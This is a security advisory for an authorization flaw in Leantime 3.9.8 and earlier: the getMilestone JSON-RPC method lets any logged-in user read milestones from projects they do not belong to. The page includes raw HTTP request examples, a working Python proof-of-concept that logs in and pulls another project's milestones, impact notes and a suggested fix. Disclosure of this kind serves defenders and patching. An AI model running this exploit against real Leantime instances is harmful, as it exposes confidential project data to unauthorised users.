GHSA-JVM8-4GGG-RJ85
IDOR in getMilestone JSON-RPC endpoint allows cross-project data leak in Leantime ≤ 3.9.8
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-JVM8-4GGG-RJ85 divulgada · CVSS 4.3 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
An Insecure Direct Object Reference (IDOR) in the `getMilestone` JSON-RPC method allows any authenticated user to read milestones from projects they have no access to. An attacker who is a member of a single project can enumerate milestone IDs and retrieve the headline, description, dates, and metadata of milestones from every other project in the Leantime instance, including restricted ones.
Details
`getMilestone()` in `app/Domain/Tickets/Services/Tickets.php` fetches a milestone by numeric ID without verifying that the caller belongs to the project that owns the milestone:
/** @api */
#[RequiresPermission(TicketsPermissions::VIEW)]
public function getMilestone(int $id): TicketModel|bool
{
return $this->ticketRepository->getTicket($id); // no project scope check
}#[RequiresPermission(TicketsPermissions::VIEW)] resolves the project from the caller's active session (whichever project they currently have selected), not from the milestone being requested. The repository then returns the full database row for any milestone ID in the system.
Contrast with the correctly implemented getTicket() method in the same file (~line 1140), which performs a post-fetch membership check:
#[RequiresPermission(TicketsPermissions::VIEW)]
public function getTicket($id): TicketModel|bool
{
$ticket = $this->ticketRepository->getTicket($id);
if ($ticket && $this->projectService->isUserAssignedToProject(
session('userdata.id'), $ticket->projectId)) {
return $ticket;
}
return false; // correctly denies cross-project access
}getMilestone is missing this post-fetch isUserAssignedToProject() check entirely.
PoC
Setup:
- Leantime instance (tested on v3.9.8 - latest).
- Project A (restricted): contains milestone id=10 with sensitive data. Attacker has no access.
- Project B: attacker is a legitimate member.
Step 1 - Login as attacker (member of Project B only):
POST /auth/login
Content-Type: application/x-www-form-urlencoded
_token=<csrf>&username=attacker@example.com&password=...&redirectUrl=/dashboard/homeStep 2 - Set session to Project B (legitimate project):
GET /projects/changeCurrentProject/3
Cookie: leantime_session=<attacker_session>Step 3 - Call getMilestone with a milestone ID from Project A:
POST /api/jsonrpc
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Cookie: leantime_session=<attacker_session>
{"jsonrpc":"2.0","method":"leantime.rpc.tickets.tickets.getMilestone","params":{"id":10},"id":1}Response: full Project A milestone returned to attacker:
{
"jsonrpc": "2.0",
"result": {
"id": 10,
"headline": "SECRET Q3 Budget - CONFIDENTIAL",
"description": "...",
"projectId": 2,
"projectName": "SECRET Project A",
"clientName": "...",
"editFrom": "...",
"editTo": "..."
}
}Control - getTicket with the same ID correctly blocks access:
POST /api/jsonrpc
{"jsonrpc":"2.0","method":"leantime.rpc.tickets.tickets.getTicket","params":{"id":10},"id":2}
→ {"result": false}Self-contained Python PoC:
#!/usr/bin/env python3
"""
Leantime getMilestone IDOR (CWE-639)
Usage: python poc_leantime_milestone_idor.py <url> <email> <password> <milestone_id>
"""
import sys, re, json, requests
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8090"
USER = sys.argv[2] if len(sys.argv) > 2 else "attacker@leantime.test"
PASS = sys.argv[3] if len(sys.argv) > 3 else "Admin1234!"
MID = int(sys.argv[4]) if len(sys.argv) > 4 else 2
JSONRPC = f"{BASE}/api/jsonrpc"
HDR = {"X-Requested-With": "XMLHttpRequest", "Content-Type": "application/json"}
s = requests.Session()
r = s.get(f"{BASE}/auth/login")
token = re.search(r'name=["\']_token["\'][^>]*value=["\']([^"\']+)["\']', r.text)
redirect = re.search(r'name=["\']redirectUrl["\'][^>]*value=["\']([^"\']*)["\']', r.text)
if not token:
print("[-] CSRF token not found"); sys.exit(1)
r2 = s.post(f"{BASE}/auth/login", data={
"_token": token.group(1), "username": USER, "password": PASS,
"redirectUrl": redirect.group(1) if redirect else "", "login": "Login",
}, allow_redirects=False)
loc = r2.headers.get("Location", "")
if r2.status_code not in (301, 302, 303) or "/auth/login" in loc:
print("[-] Login failed"); sys.exit(1)
# Follow redirect (may land on first-login wizard — that's fine, session is valid)
s.get(f"{BASE}{loc}" if loc.startswith("/") else loc, allow_redirects=True)
print(f"[+] Logged in as {USER}")
resp = s.post(JSONRPC, headers=HDR, json={
"jsonrpc": "2.0",
"method": "leantime.rpc.tickets.tickets.getMilestone",
"params": {"id": MID},
"id": 1,
}).json()
print(json.dumps(resp, indent=2, default=str))
result = resp.get("result")
if isinstance(result, dict):
print(f"\n[!] IDOR CONFIRMED: milestone id={MID} projectId={result.get('projectId')} headline={result.get('headline')!r}")
else:
print("\n[-] No data returned (access denied or milestone not found)")Impact
Any authenticated workspace member can enumerate all milestones across all projects in the instance by iterating sequential integer IDs, no membership in the target project is required:
- Confidentiality: milestone headlines, descriptions, acceptance criteria, project names, client names, dates, and assignees are all exposed
- Enumeration: IDs are sequential integers, making full enumeration trivial with a single loop
- Scope: all projects in the Leantime instance, including those marked as restricted or client-facing
Suggested fix
Apply the same post-fetch project membership check used by getTicket:
#[RequiresPermission(TicketsPermissions::VIEW)]
public function getMilestone(int $id): TicketModel|bool
{
$milestone = $this->ticketRepository->getTicket($id);
if ($milestone && $this->projectService->isUserAssignedToProject(
session('[userdata.id](http://userdata.id/)'), $milestone->projectId)) {
return $milestone;
}
return false;
}This mirrors the pattern already in use for getTicket and requires no changes to the permission framework.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistleantime/leantime |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/Leantime/leantime/security/advisories/GHSA-jvm8-4ggg-rj85Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
